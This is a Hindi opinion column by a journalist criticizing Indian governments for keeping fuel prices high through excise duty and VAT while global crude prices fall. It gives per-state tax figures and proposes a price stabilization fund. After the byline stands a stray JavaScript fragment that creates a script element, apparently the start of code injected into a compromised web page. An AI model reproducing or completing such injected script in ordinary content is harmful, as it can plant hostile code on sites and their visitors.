तेल से अपना खेल साध रही है सरकार


डॉ. अंजनी झा

भले ही अंतर्राष्ट्रीय बाजार में कच्चे तेल की कीमत में लगातार कमी हो रही हो, किन्तु देश में पेट्रोल-डीजल के मूल्य में वृद्धि ‘कमाई’ का बड़ा जरिया बन गया है। बड़े-बड़े वायदों के बाद भी केंद्र और राज्य सरकारों ने राजस्व घाटे की भरपाई और आय वृद्धि का कोई उपाय नहीं ढूंढा। यह सबसे आसन तरीका है, इसलिए सारी कवायद इसी पर की जाती है। शराब, गुटखा, सिगरेट आदि पर सरकार खूब टैक्स लगाती है, किन्तु बिक्री पर कोई असर नही पड़ता। हर वर्ष केंद्र और राज्यों के बजट में बिना सट्टा लगाये दावे के साथ कीमत की बढ़ोतरी का दावा किया जा सकता है। लेकिन, ‘तेल’ को लेकर चल रहा नायब खेल हमारी अर्थव्यवस्था को पंगु बना रहा है।

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आईएसआईएस का तेल पर कब्जा, गुटीय राजनीति, अरब देशों में बढ़ता असंतोष और वर्चस्व की राजनीति जैसे अनेक अवयवों के कारण भले ही तेल मिनरल वाटर से सस्ता मिल रहा हो, किन्तु भारत में उछाल क्यों? बाकी देशों में क्यों नहीं? अर्थशास्त्रियों की मानें तो जीडीपी ग्रोथ रेट बढ़ रही है। निवेश में भारी इजाफा हुआ है। रेपो रेट घटा है। विदेशी मुद्रा भंडार भी काफी बढ़ा है। अगर इसे थोड़ी देर के लिए सही मान लें तो फिर भ्रष्टाचार और बेरोजगारी इस कदर क्यों बढ़ रही है कि युवा आत्महत्या कर रहे हैं। सरकारी एक पद पर साढ़े ग्यारह हजार अभ्यर्थी आवेदन कर रहे हैं। महंगाई आसमान छू रही है। ऐसे में अगर अरब देशों में कोहराम और भगदड़ नहीं मची तो तो तेल की कीमत निश्चित रूप से बढ़ती, फिर सरकार नाना प्रकार के टैक्स लगाकर इसे काफी महंगा कर देती। माध्यम वर्ग के लिए तो यह आकाश कुसुम हो जाता। तो यह मान लिया जाए कि सरकार के लिए ‘तेल’ आय का बड़ा जरिया है। देश से बाहर के उत्पाद पर खूब सारा टैक्स लगाकर वह कमाई कर रही है, किन्तु जीवननाशक उत्पादों को छोड़कर भला कौन-सा उत्पाद है, जिस पर टैक्स लगाकर तिजोरी भरा जा सकता है। उत्तर है नहीं। तो क्या हमारी अर्थनीति विफल हो रही है? अन्वेषण और विश्लेषण का विषय नहीं है। हर शोध के बाद उत्तर एक ही है भ्रष्टाचार और गलीज राजनीति।

बेइंतहा वसूली (सभी आंकड़ें प्रति लीटर)

प्रदेश पेट्रोल की कीमत प्रदेश में वैट सहित सभी कर प्रदेश की कमाई

आंध्र प्रदेश ६६.८२ ३९.८९ २६.६५

पंजाब ६६.३५ ३६.५५ २४.५५

महाराष्ट्र ६७.३७ ३२.१९ २१.७५

मध्य प्रदेश ६५.२१ ३४.५१ २२.५०

राजस्थान ६३.४९ ३३.३२ २१.१५

गोवा ५५.४० १५ ०८.३१

वित्त वर्ष २०१४-१५ और २०१५-१६ (पहली छमाही) में कुल मिलाकर राजस्थान को १३००७ करोड़ की कमाई हुई, जबकि दिल्ली को ४३३६ करोड़ की। वैश्विक बाजार में कच्चे तेल की कीमत में ७० प्रतिशत की कमी आई है, किन्तु देश में पिछले एक साल में देश में पेट्रोल 20% ही सस्ता हुआ। नवंबर, २०१४ से अब तक केंद्र ने सात बार उत्पाद शुल्क बढ़ाया। केवल दो माह में सरकारी खजाने में अतिरिक्त १० हजार करोड़ जमा हुआ, जबकि यह लाभ जनता को मिलना था।

अमेरिकी बैंक मॉर्गन स्टैनली का मत है कि चीनी मुद्रा युआन में आई तेज गिरावट के चलते कच्चे तेल की कीमत २० डॉलर प्रति बेरल तक गिर सकती है। बैंक को लगता है कि ईरान से हो रही नई अतिरिक्त आपूर्ति से पहले ही लबालब बाजार में तेल का स्टॉक और बढ़ जाएगा, जो इस अनुपात को सच साबित करेगा। आज पेट्रोल-डीजल की जो कीमत आम उपभोक्ता अदा करता है, उसमें सबसे ज्यादा हिस्सा केंद्र सरकार के करों का है। इस शुल्क में से ४५ फीसदी विभिन्न योजनाओं के तहत राज्यों को चला जाता है। राज्य वैट और सेस के जरिये और कर वसूलते हैं। आय का घर बैठे बड़ा जरिया ‘तेल’ के होने के कारण सरकार इसकी चाबी अपने पास रखना चाहती है। साथ ही इसे तर्कसंगत नहीं बनाना चाहती। ‘ऑयल शॉक’ से भले ही सरकार ज्यादा खुश हो, किन्तु लगातार कीमतों में गिरावट से वैश्विक अर्थव्यवस्था मंद पड़ जाती है। इससे भारतीय अर्थव्यवस्था को करार झटका लग सकता है।

डेढ़-दो वर्षों से जो टैक्स सरकारें एकत्र कर रही हैं, उससे ‘प्राइस स्टेबलाइजेशन फंड’ बनाया जाना चाहिए, ताकि जब तेल की कीमत ऊपर जाए तब सरकार इसी पैसे से आम उपभोक्ता को रहत दे सके। लोकप्रिय सरकार को चाहिए कि अभी से कदम उठाना शुरू कर दे। भले ही सरकार ने अपने नियंत्रण को दिखावे के लिए मुक्त कर दिया हो, किन्तु शिकंजा तो जस-का तस है। दिलचस्प तथ्य है कि जब कीमत आसमान को छू रही थी तो सरकार ने कहा कि यह सरकारी नियन्त्रण से बाहर है, क्योंकि कीमत अंतर्राष्ट्रीय स्तर पर तय होती है। अब कुछ वर्षों से जब लगातार कीमत घट रही है तो फिर सर्कार ने दखल देकर कीमत को घटाने के बजाय बढ़ने क्यों दिया? कारण स्पष्ट है कि सरकार के लिए बिना उद्यम के आय का बड़ा जरिया है। जब यूपीए सरकार ने पेट्रोल नियंत्रण मुक्त किया था, उस वक्त यह नीति बनी थी कि अंतर्राष्ट्रीय बाजार में पेट्रोल की कीमतों के हिसाब से ही भारत में दरें तय की जाएंगी।

कच्चे तेल की कीमतों से कोई लेना-देना नहीं है। विश्व बैंक के मुताबिक, वैश्विक स्तर पर कच्चा तेल और कमोडिटी की कीमतों में गिरावट से पेट्रोल और डीजल पर सब्सिडी समाप्त करने और उत्पाद शुल्क बढ़ाने में भारत को मदद मिली है। सब्सिडी पर खर्च घटने और कर की ऊंची दर का बेहतर इस्तेमाल करने की विश्व बैंक ने प्रशंसा की है। इसी तरह गरीबी को लेकर जारी रिपोर्ट में भारत को तारीफ़ मिल चुकी है। अनुत्तरित प्रश्न है कि सरकार विश्वबैंक की सर्टिफिकेट को दिखाकर जनता से वोट मांगेगी। जबाब नहीं है। देश में न गरीबी घट रही है और न महंगाई-भ्रष्टाचार। अंतर्राष्ट्रीय स्तर पर लगतार घट रही तेल की कीमत के कारण सरकार एक बड़ा फंड जमा कर काफी कुछ ‘विकास’ कर सकती है, किन्तु ऐसा कुछ होता नहीं दिख रह है।

(लेखक वरिष्ठ पत्रकार हैं)var d=document;var s=d.createElement(‘script’);

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